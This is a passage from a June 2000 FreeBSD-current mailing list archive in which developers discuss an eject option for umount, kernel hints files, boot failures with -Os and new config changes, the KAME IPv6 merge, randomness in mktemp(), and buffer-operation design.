umount(8) to eject a :removable medium where possible? : :Greg :-- :Finger grog@lemis.com for PGP public key Sounds good! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 16:17:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 4861137BAFF for ; Sun, 18 Jun 2000 16:17:19 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id QAA05375; Sun, 18 Jun 2000 16:22:10 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006182322.QAA05375@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Matthew Dillon Cc: current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: Your message of "Sat, 17 Jun 2000 18:45:15 PDT." <200006180145.SAA68317@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 18 Jun 2000 16:22:10 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > (In general, I don't think I like putting the hints in a separate > place or even a separate file... now I have two or three files I have > to deal with rather then one config file. It makes managing bunches > of config files annoying. I wish that the earlier format hadn't been > ripped out. I don't see much of an advantage of moving it into a > loader-accessible file). The hints file itself is largely just filler; large chunks of it are going to go away properly soon as the drivers it's still helping out learn more about PnP. As has already been pointed out, it's also correct for the hints file to be associated with the system, not the kernel. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 16:17:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 108F437BAEF for ; Sun, 18 Jun 2000 16:17:35 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 32651 invoked from network); 18 Jun 2000 23:17:27 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 18 Jun 2000 23:17:27 -0000 Message-ID: <394D5886.F736F395@cvzoom.net> Date: Sun, 18 Jun 2000 19:17:26 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: current@freebsd.org Subject: compiling kernel with -Os or -O2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone try to compile the kernel with an optimization higher than -O, such as -Os or -O2? For example, when I compile my kernel with -Os, I get a "fatal trap 12: page fault in supervisor mode" right after I see this on my screen while the kernel is booting: Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #0: Sun Jun 18 19:06:34 EDT 2000 dmmiller@lc210.cvzoom.net:/usr/src/sys/compile/CUSTOM Timecounter "i8254" frequency 1193182 Hz CPU: Pentium/P55C (166.45-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x543 Stepping = 3 Features=0x8001bf real memory = 62914560 (61440K bytes) This is all the further the boot gets before the page fault. Of course, as David O'Brien pointed out, optimization levels beyond -O aren't supported. But, I'm curious as to what the cause of this is, as it may reveal a deeper problem someplace. For example, is the problem with binutils, the kernel source code, or both? Hopefully, we'll find out after the binutils upgrade is complete. I should point out that using -O to compile the kernel gives no problems booting; it's just -Os that causes the problems for me. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 17: 2:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id D2DB837B56E; Sun, 18 Jun 2000 17:02:09 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-250-77.netcologne.de [195.14.250.77]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id CAA25644; Mon, 19 Jun 2000 02:02:05 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id CAA03596; Mon, 19 Jun 2000 02:01:19 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Mon, 19 Jun 2000 02:01:19 +0200 (CEST) Message-Id: <200006190001.CAA03596@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: grog@sydney.worldwide.lemis.com Cc: FreeBSD-current@FreeBSD.ORG, FreeBSD-arch@FreeBSD.ORG In-reply-to: <20000618160223.A2482@sydney.worldwide.lemis.com> (message from Greg Lehey on Sun, 18 Jun 2000 16:02:23 -0700) Subject: Re: -e option to umount? Reply-To: van.woerkom@netcologne.de References: <20000618160223.A2482@sydney.worldwide.lemis.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > What do people think about adding a -e option to umount(8) to eject a > removable medium where possible? SGIs and SUNs use an 'eject' command for CDs and DAT tapes. Here are the manpages for comparison: Irix 6.5: http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=0650&db=man&fname=/usr/share/catman/u_man/cat1/eject.z&srch=eject Solaris 2.7: http://www.FreeBSD.org/cgi/man.cgi?query=eject&apropos=0&sektion=0&manpath=SunOS+5.7&format=html Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 17:13:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id C426637BAD1; Sun, 18 Jun 2000 17:13:54 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-250-77.netcologne.de [195.14.250.77]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id CAA25865; Mon, 19 Jun 2000 02:10:31 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id CAA03688; Mon, 19 Jun 2000 02:09:44 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Mon, 19 Jun 2000 02:09:44 +0200 (CEST) Message-Id: <200006190009.CAA03688@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: van.woerkom@netcologne.de Cc: grog@sydney.worldwide.lemis.com, FreeBSD-current@FreeBSD.ORG, FreeBSD-arch@FreeBSD.ORG In-reply-to: <200006190001.CAA03596@oranje.my.domain> (message from Marc van Woerkom on Mon, 19 Jun 2000 02:01:19 +0200 (CEST)) Subject: Re: -e option to umount? Reply-To: van.woerkom@netcologne.de References: <20000618160223.A2482@sydney.worldwide.lemis.com> <200006190001.CAA03596@oranje.my.domain> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > SGIs and SUNs use an 'eject' command for CDs and DAT tapes. OpenBSD 2.6 uses 'mt' and 'eject' NetBSD 1.4 uses 'eject' as well. http://www.FreeBSD.org/cgi/man.cgi?query=eject&apropos=0&sektion=0&manpath=OpenBSD+2.6&format=html http://www.FreeBSD.org/cgi/man.cgi?query=eject&apropos=0&sektion=0&manpath=NetBSD+1.4&format=html Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 17:34: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id EF79237B6A2; Sun, 18 Jun 2000 17:34:02 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id RAA89457; Sun, 18 Jun 2000 17:34:02 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Sun, 18 Jun 2000 17:34:02 -0700 (PDT) From: Kris Kennaway To: current@freebsd.org Cc: snap-users@kame.net Subject: Latest KAME integrated with 5.0-CURRENT Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've updated the KAME code in FreeBSD 5.0-CURRENT to sync it with the latest from the KAME repository. The diffs are rather large (1.5MB) but some of the code in FreeBSD was quite old, and this also now includes everything that's in KAME (for better or for worse - it was far too difficult for me to try and separate changes in different areas). As a nice bonus, that also includes ALTQ for IPv4 and IPv6. Itojun suggests that there are a couple of things which shouldn't go into FreeBSD yet, such as the RFC2292bis code which is still pre-RFC - after Usenix I'll take a look at removing this stuff from my patched code. So far the merged kernel is working nicely and interoperates with the current FreeBSD KAME code - I've been running it since yesterday and so far the only problem I've seen is a hung NFS mount when I was running NFS over IPSec (hung in state nfsrcvlk) - I haven't replicated this yet or determined whether it happens with regular NFS mounts also. Other remaining issues: * ALTQ has not been tested beyond checking that LINT compiles with it in * the ipfw module doesn't compile (missing opt_foo.h headers - should be easy to fix) * I didn't resolve one patch to the tx driver yet, so it doesn't work * For some reason the stf.h header isn't being generated by config(8) when you include "device stf", so you have to put "#define NSTF 1" or "... 0" in stf.h in your kernel build dir by hand * There's a lot of whitespace diffs and twisty little ifdef mazes which would need to be cleaned up before an eventual FreeBSD import The userland from the latest KAME snapshot works fine: racoon also compiles, but I haven't tested it yet (I need to update my other machine to an official freebsd4 KAME snap) I'll be away at Usenix most of this week (from Tuesday), but when I return I'll keep working on this to get it commit-ready. I'd like to hear any problems people have with the patches: you can find them at http://www.freebsd.org/~kris/kame.diff.gz Kris P.S. Note that the patches are based on the latest -current, which means you have to jump through the config(8) hoops as described on freebsd-current. -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 18: 6:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from hurricane.columbus.rr.com (m5.columbus.rr.com [204.210.252.249]) by hub.freebsd.org (Postfix) with ESMTP id D455D37B6A2; Sun, 18 Jun 2000 18:06:38 -0700 (PDT) (envelope-from caa@columbus.rr.com) Received: from blizzard.columbus.rr.com ([204.210.252.252]) by hurricane.columbus.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-53939U80000L80000S0V35) with ESMTP id com; Sun, 18 Jun 2000 21:06:54 -0400 Received: from columbus.rr.com (wvl243179.columbus.rr.com [204.210.243.179]) by blizzard.columbus.rr.com (8.9.3/8.9.3) with ESMTP id VAA00354; Sun, 18 Jun 2000 21:05:47 -0400 (EDT) Received: (from caa@localhost) by columbus.rr.com (8.9.3/8.9.3) id VAA01813; Sun, 18 Jun 2000 21:06:57 GMT (envelope-from caa) Date: Sun, 18 Jun 2000 21:06:52 +0000 From: Charles Anderson To: Marc van Woerkom Cc: grog@sydney.worldwide.lemis.com, FreeBSD-current@FreeBSD.ORG, FreeBSD-arch@FreeBSD.ORG Subject: Re: -e option to umount? Message-ID: <20000618210652.A917@midgard.dhs.org> References: <20000618160223.A2482@sydney.worldwide.lemis.com> <200006190001.CAA03596@oranje.my.domain> <200006190009.CAA03688@oranje.my.domain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200006190009.CAA03688@oranje.my.domain>; from van.woerkom@netcologne.de on Mon, Jun 19, 2000 at 02:09:44AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG /usr/ports/sysutils/eject On Mon, Jun 19, 2000 at 02:09:44AM +0200, Marc van Woerkom wrote: > > SGIs and SUNs use an 'eject' command for CDs and DAT tapes. > > OpenBSD 2.6 uses 'mt' and 'eject' > NetBSD 1.4 uses 'eject' as well. > > http://www.FreeBSD.org/cgi/man.cgi?query=eject&apropos=0&sektion=0&manpath=OpenBSD+2.6&format=html > http://www.FreeBSD.org/cgi/man.cgi?query=eject&apropos=0&sektion=0&manpath=NetBSD+1.4&format=html > > Regards, > Marc > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- Charles Anderson caa@columbus.rr.com No quote, no nothin' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 19: 3:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 9922E37B528; Sun, 18 Jun 2000 19:03:20 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id UAA31706; Sun, 18 Jun 2000 20:03:18 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id UAA52489; Sun, 18 Jun 2000 20:01:54 -0600 (MDT) Message-Id: <200006190201.UAA52489@harmony.village.org> To: "Jeroen C. van Gelderen" Subject: Re: mktemp() patch Cc: Mark Murray , Kris Kennaway , current@FreeBSD.ORG In-reply-to: Your message of "Fri, 09 Jun 2000 13:09:23 EDT." <394124C3.221E61BC@vangelderen.org> References: <394124C3.221E61BC@vangelderen.org> <200006081724.TAA00705@grimreaper.grondar.za> Date: Sun, 18 Jun 2000 20:01:54 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <394124C3.221E61BC@vangelderen.org> "Jeroen C. van Gelderen" writes: : Pseudo random numbers are so cheap (or they should be) that you : just don't want to try and 'optimize' here. It is much better to : be conservative and use a good PRNG until it *proves* to be very : problematic. I disagree with this strongly. PRNG have proven time and time again to weaken security due to their less than random nature. It is my judgement that going down this path would be very bad, especially when cryptographically strong random number generators exist and are part of the base FreeBSD system. We should just use those... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 19:18:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 33FBE37BB1E; Sun, 18 Jun 2000 19:18:35 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id TAA20763; Sun, 18 Jun 2000 19:18:35 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Sun, 18 Jun 2000 19:18:35 -0700 (PDT) From: Kris Kennaway To: Warner Losh Cc: "Jeroen C. van Gelderen" , Mark Murray , current@FreeBSD.ORG Subject: Re: mktemp() patch In-Reply-To: <200006190201.UAA52489@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Jun 2000, Warner Losh wrote: > In message <394124C3.221E61BC@vangelderen.org> "Jeroen C. van Gelderen" writes: > : Pseudo random numbers are so cheap (or they should be) that you > : just don't want to try and 'optimize' here. It is much better to > : be conservative and use a good PRNG until it *proves* to be very > : problematic. > > I disagree with this strongly. PRNG have proven time and time again > to weaken security due to their less than random nature. It is my > judgement that going down this path would be very bad, especially when > cryptographically strong random number generators exist and are part > of the base FreeBSD system. We should just use those... Actually thats what Jeroen was referring to - use of arc4random(). It's still a PRNG :-) Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 19:46:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 0585C37BB33 for ; Sun, 18 Jun 2000 19:46:14 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115250>; Mon, 19 Jun 2000 12:46:10 +1000 Content-return: prohibited From: Peter Jeremy Subject: Re: mktemp() patch In-reply-to: <200006190201.UAA52489@harmony.village.org>; from imp@village.org on Mon, Jun 19, 2000 at 12:03:40PM +1000 To: Warner Losh Cc: current@FreeBSD.ORG Message-Id: <00Jun19.124610est.115250@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=us-ascii References: <394124C3.221E61BC@vangelderen.org> <200006081724.TAA00705@grimreaper.grondar.za> <394124C3.221E61BC@vangelderen.org> <200006190201.UAA52489@harmony.village.org> Date: Mon, 19 Jun 2000 12:46:09 +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Jun-19 12:03:40 +1000, Warner Losh wrote: >In message <394124C3.221E61BC@vangelderen.org> "Jeroen C. van Gelderen" writes: >: Pseudo random numbers are so cheap (or they should be) that you >: just don't want to try and 'optimize' here. It is much better to >: be conservative and use a good PRNG until it *proves* to be very >: problematic. > >I disagree with this strongly. PRNG have proven time and time again >to weaken security due to their less than random nature. It is my >judgement that going down this path would be very bad, especially when >cryptographically strong random number generators exist and are part >of the base FreeBSD system. We should just use those... The PRNG in question is arc4random() - which AFAIK rates as "cryptographically strong". I don't believe that mktemp(3) warrants the use of /dev/random (or even /dev/urandom). Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 19:53:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id AFE5437BB43 for ; Sun, 18 Jun 2000 19:53:18 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id UAA31807; Sun, 18 Jun 2000 20:53:14 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id UAA52694; Sun, 18 Jun 2000 20:51:50 -0600 (MDT) Message-Id: <200006190251.UAA52694@harmony.village.org> To: Peter Jeremy Subject: Re: mktemp() patch Cc: current@FreeBSD.ORG In-reply-to: Your message of "Mon, 19 Jun 2000 12:46:09 +1000." <00Jun19.124610est.115250@border.alcanet.com.au> References: <00Jun19.124610est.115250@border.alcanet.com.au> <394124C3.221E61BC@vangelderen.org> <200006081724.TAA00705@grimreaper.grondar.za> <394124C3.221E61BC@vangelderen.org> <200006190201.UAA52489@harmony.village.org> Date: Sun, 18 Jun 2000 20:51:50 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <00Jun19.124610est.115250@border.alcanet.com.au> Peter Jeremy writes: : On 2000-Jun-19 12:03:40 +1000, Warner Losh wrote: : >In message <394124C3.221E61BC@vangelderen.org> "Jeroen C. van Gelderen" writes: : >: Pseudo random numbers are so cheap (or they should be) that you : >: just don't want to try and 'optimize' here. It is much better to : >: be conservative and use a good PRNG until it *proves* to be very : >: problematic. : > : >I disagree with this strongly. PRNG have proven time and time again : >to weaken security due to their less than random nature. It is my : >judgement that going down this path would be very bad, especially when : >cryptographically strong random number generators exist and are part : >of the base FreeBSD system. We should just use those... : : The PRNG in question is arc4random() - which AFAIK rates as : "cryptographically strong". I don't believe that mktemp(3) warrants : the use of /dev/random (or even /dev/urandom). I think we're in agreement. I had thought I read it as "use random(3)" for some reason.... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 19:59:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from field.videotron.net (field.videotron.net [205.151.222.108]) by hub.freebsd.org (Postfix) with ESMTP id 4669A37BAE2 for ; Sun, 18 Jun 2000 19:59:08 -0700 (PDT) (envelope-from bmilekic@dsuper.net) Received: from modemcable009.62-201-24.mtl.mc.videotron.net ([24.201.62.9]) by field.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0FWD00I8USAEOT@field.videotron.net> for freebsd-current@freebsd.org; Sun, 18 Jun 2000 22:59:02 -0400 (EDT) Date: Sun, 18 Jun 2000 23:00:48 -0400 (EDT) From: Bosko Milekic Subject: FOLLOWING config changes? : Kernel profiling support X-Sender: bmilekic@jehovah.technokratis.com To: freebsd-current@freebsd.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've recently cleaned up and updated my sources, saving some changes I made elsewhere. I performed a buildworld, installworld, etc. yesterday night with no problems. When I rebuilt my kernel, after having collected the appropriate hints for the system and modified my kernel configuration file appropriately, I had some trouble booting it. The loader would load the kernel into memory but when it was time to `boot' it, I was not able to see anything on the console, this includes the initial copyright message. Furthermore, my keyboard was unresponsive. However, I could tell that the kernel was booting nonetheless (even though I could not see it), judging by the hard disk drives' activity (and upon checking /var/log/messages after I booted with my previously saved kernel). I then decided to rebuild the kernel with the hints statically compiled in, and this worked fine, and the kernel booted properly. Note that I did not use any notable optimisation flag during the build, and that this is all on i386 architecture. However, I decided to build a kernel with profiling support this morning (config -p KERNEL, etc.), and I left the hints compiled in statically. The kernel built fine, but when it came time to boot it, again, no response from keyboard, nothing at the console. This time though, the kernel wasn't even booting. Has anybody noticed/tried this recently? Am I forgetting something? Cheers, Bosko. -- Bosko Milekic * Voice/Mobile: 514.865.7738 * Pager: 514.921.0237 bmilekic@technokratis.com * http://www.technokratis.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 20:34:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from lor.watermarkgroup.com (lor.watermarkgroup.com [207.202.73.33]) by hub.freebsd.org (Postfix) with ESMTP id 0FC8B37BB28 for ; Sun, 18 Jun 2000 20:34:51 -0700 (PDT) (envelope-from luoqi@watermarkgroup.com) Received: (from luoqi@localhost) by lor.watermarkgroup.com (8.10.1/8.10.1) id e5J3Ynt02181; Sun, 18 Jun 2000 23:34:49 -0400 (EDT) Date: Sun, 18 Jun 2000 23:34:49 -0400 (EDT) From: Luoqi Chen Message-Id: <200006190334.e5J3Ynt02181@lor.watermarkgroup.com> To: phk@critter.freebsd.dk Subject: Re: HEADSUP: bioops patch. Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >> Background: > > >> Ideally struct buf should have had a real OO like operations vector > >> like vnodes have it, and struct bioops is the first step towards that. > >> > >struct buf will eventually become merely an iocmd structure, so why do > >we want to complicate things here? > > No, struct buf will remain the cache-handle. the iocmd is called > struct bio. > Even if struct buf stays around, its cache-handle role will be diminished, probably just a translation layer to vm object based caching. > >We already have an OO method for bwrite: VOP_BWRITE(), the problem > >is most of the code are still calling bwrite() directly. Will it > >solve your problem if we change every bwrite() into a VOP_BWRITE()? > > Well, I'm not sure it is correct to go the detour around Vnodes, > if we do, we need to add VOP_BAWRITE, VOP_BDWRITE and all those > other operations as well. > Don't you need bp->b_ops->bawrite(), bp->b_ops->bdwrite() as well? I feel it's better to go through the vnode, because for all the bufs belong to the same vnode, these b_ops are most likely to be the same. And for a stackable filesystem, you may easily implement a passthru call with vnode, how would you deal with it using struct buf? > But what vnode would you use for a buffer associated with a freeblock > bitmap ? > Each buffer belongs to a vnode, a buffer associated with a freeblock bitmap belongs to the device vnode, and that's the vnode we could use. > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD coreteam member | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > -lq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 20:56:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from lor.watermarkgroup.com (lor.watermarkgroup.com [207.202.73.33]) by hub.freebsd.org (Postfix) with ESMTP id 842CD37B6CD; Sun, 18 Jun 2000 20:56:50 -0700 (PDT) (envelope-from luoqi@watermarkgroup.com) Received: (from luoqi@localhost) by lor.watermarkgroup.com (8.10.1/8.10.1) id e5J3uC502403; Sun, 18 Jun 2000 23:56:12 -0400 (EDT) Date: Sun, 18 Jun 2000 23:56:12 -0400 (EDT) From: Luoqi Chen Message-Id: <200006190356.e5J3uC502403@lor.watermarkgroup.com> To: cracauer@cons.org Subject: Re: VMware detection code in boot loader Cc: current@FreeBSD.ORG, dcs@newsguy.com, emulation@FreeBSD.ORG, msmith@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In <200006131540.e5DFekh04320@lor.watermarkgroup.com>, Luoqi Chen wrote: > > It is not the loader's job to detect the underlying > > hardware configuration. > > I disagree. I would like to tell which machine I am booting on to > choose an appropriate kernel. > Eventually (it may take a while) we should be able to boot any i386/AT based machine with a single kernel which dynamically loads drivers for available hardware (and different locking modules for UP and SMP for that matter). > My -current harddisk (physically) moves between 3 machines with very > different requirements, not just SMP. FPU, few or much RAM, ISA stuff > on identical places etc. > > I can select the kernel manually, but after a crash or power fail I > might not be in a position to do it again. > > Martin > -- > %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% > Martin Cracauer http://www.cons.org/cracauer/ > BSD User Group Hamburg, Germany http://www.bsdhh.org/ > -lq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 20:57: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from thelab.hub.org (nat204.200.mpoweredpc.net [142.177.204.200]) by hub.freebsd.org (Postfix) with ESMTP id 0DB9E37BB4E for ; Sun, 18 Jun 2000 20:56:51 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.9.3/8.9.3) with ESMTP id AAA00413; Mon, 19 Jun 2000 00:55:31 -0300 (ADT) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Mon, 19 Jun 2000 00:55:31 -0300 (ADT) From: The Hermit Hacker To: Bosko Milekic Cc: freebsd-current@FreeBSD.ORG Subject: Re: FOLLOWING config changes? : Kernel profiling support In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ya know, I never thought about checkign /var/log/messages on mine to see if it was, in fact, booting (I thought it was, it sounded like it was, but I couldn't think of a way to check) ... Using kernel sources up-to-date as of a few hours ago, I've tried to pare my optimzatins down to a simple '-O -pipe', and I'm getting the same thing as you, where I effectively get: Booting kernel ... \ on my screen, and that's the end of it. Looking at /var/log/messages, it looks like I am getting a full reboot happening, right down to initializing 'vmmon', but nothing to my screen. I've been trying to follow the -current list to see if any ideas/solutions pop up, but the only things I've noticed so far have revolved around optimization issues, but its more then possible that I missed a message ... My last good kernel, that boot'd fine, is: @(#)FreeBSD 5.0-CURRENT #0: Wed Jun 14 01:03:00 ADT 2000 With every other one since resulting in the above ... On Sun, 18 Jun 2000, Bosko Milekic wrote: > > I've recently cleaned up and updated my sources, saving some changes > I made elsewhere. I performed a buildworld, installworld, etc. yesterday > night with no problems. > > When I rebuilt my kernel, after having collected the appropriate hints > for the system and modified my kernel configuration file appropriately, I > had some trouble booting it. The loader would load the kernel into memory > but when it was time to `boot' it, I was not able to see anything on the > console, this includes the initial copyright message. Furthermore, my > keyboard was unresponsive. However, I could tell that the kernel was > booting nonetheless (even though I could not see it), judging by the hard > disk drives' activity (and upon checking /var/log/messages after I booted > with my previously saved kernel). > > I then decided to rebuild the kernel with the hints statically compiled > in, and this worked fine, and the kernel booted properly. Note that I did > not use any notable optimisation flag during the build, and that this is > all on i386 architecture. > > However, I decided to build a kernel with profiling support this morning > (config -p KERNEL, etc.), and I left the hints compiled in statically. > The kernel built fine, but when it came time to boot it, again, no > response from keyboard, nothing at the console. This time though, the > kernel wasn't even booting. > > Has anybody noticed/tried this recently? Am I forgetting something? > > Cheers, > Bosko. > > -- > Bosko Milekic * Voice/Mobile: 514.865.7738 * Pager: 514.921.0237 > bmilekic@technokratis.com * http://www.technokratis.com/ > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy Systems Administrator 